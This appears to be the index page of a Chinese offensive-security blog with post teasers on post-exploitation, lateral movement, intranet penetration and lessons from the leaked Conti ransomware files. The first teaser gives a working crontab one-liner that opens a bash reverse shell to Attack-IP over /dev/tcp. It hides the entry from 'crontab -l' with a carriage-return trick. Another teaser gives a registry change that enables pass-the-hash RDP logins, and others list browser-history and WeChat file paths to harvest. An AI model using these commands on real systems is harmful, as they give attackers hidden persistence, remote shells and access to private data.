Logo

菜单

EvilSwan 关注信息安全

所有标签

#大模型安全 1 #AI 1 #汇编 1 #Mythic #Mythic 1 #CobaltStrike 1 #隧道搭建 1 #横向移动 2 #权限提升 1 #痕迹清理 1 #信息收集 1 #内网渗透 4 #RAAS 1 #勒索组织 1 #exploit #ActiveDirectory 2 #学习计划 1 #post-exploit 4 #log4j 1 #Halo 0
Post-Exploit #内网渗透#post-exploit

Tips in hide schedule tasks in Linux

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/Attack-IP/PORT;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")

Administrator Administrator 发布于 2025-01-19
Post-Exploit #横向移动 #内网渗透#post-exploit

NTLM Login RDP

Victim Machine shell REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f shell REG query "HKLM\

Administrator Administrator 发布于 2025-01-19
内网渗透 #内网渗透#信息收集#痕迹清理#权限提升#横向移动 #隧道搭建

内网渗透基础

前言 本文主要对一些有用常用的但不太基础的内容作以记录 信息收集 Chrome浏览器信息 历史记录 %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History 微信文件 枚举微信账户接受的文件 dir /s /b C:\Us

Administrator Administrator 发布于 2024-11-11
威胁情报 #勒索组织#RAAS#内网渗透

通过Conti勒索组织泄露的文件我们可以学到什么？

网站创建批处理脚本 http://tobbot.com/data/ 非常适合创建命令，然后生成批处理文件 使用Tor网络进行工作 接下来（对于那些还没有这样做的人），我建议将整个工作站转移到通过Tor网络工作。 为此，您需要配置您的操作系统和Whonix（这是一个为您创建“安全的Tor隧道”的操作系

Administrator Administrator 发布于 2024-11-04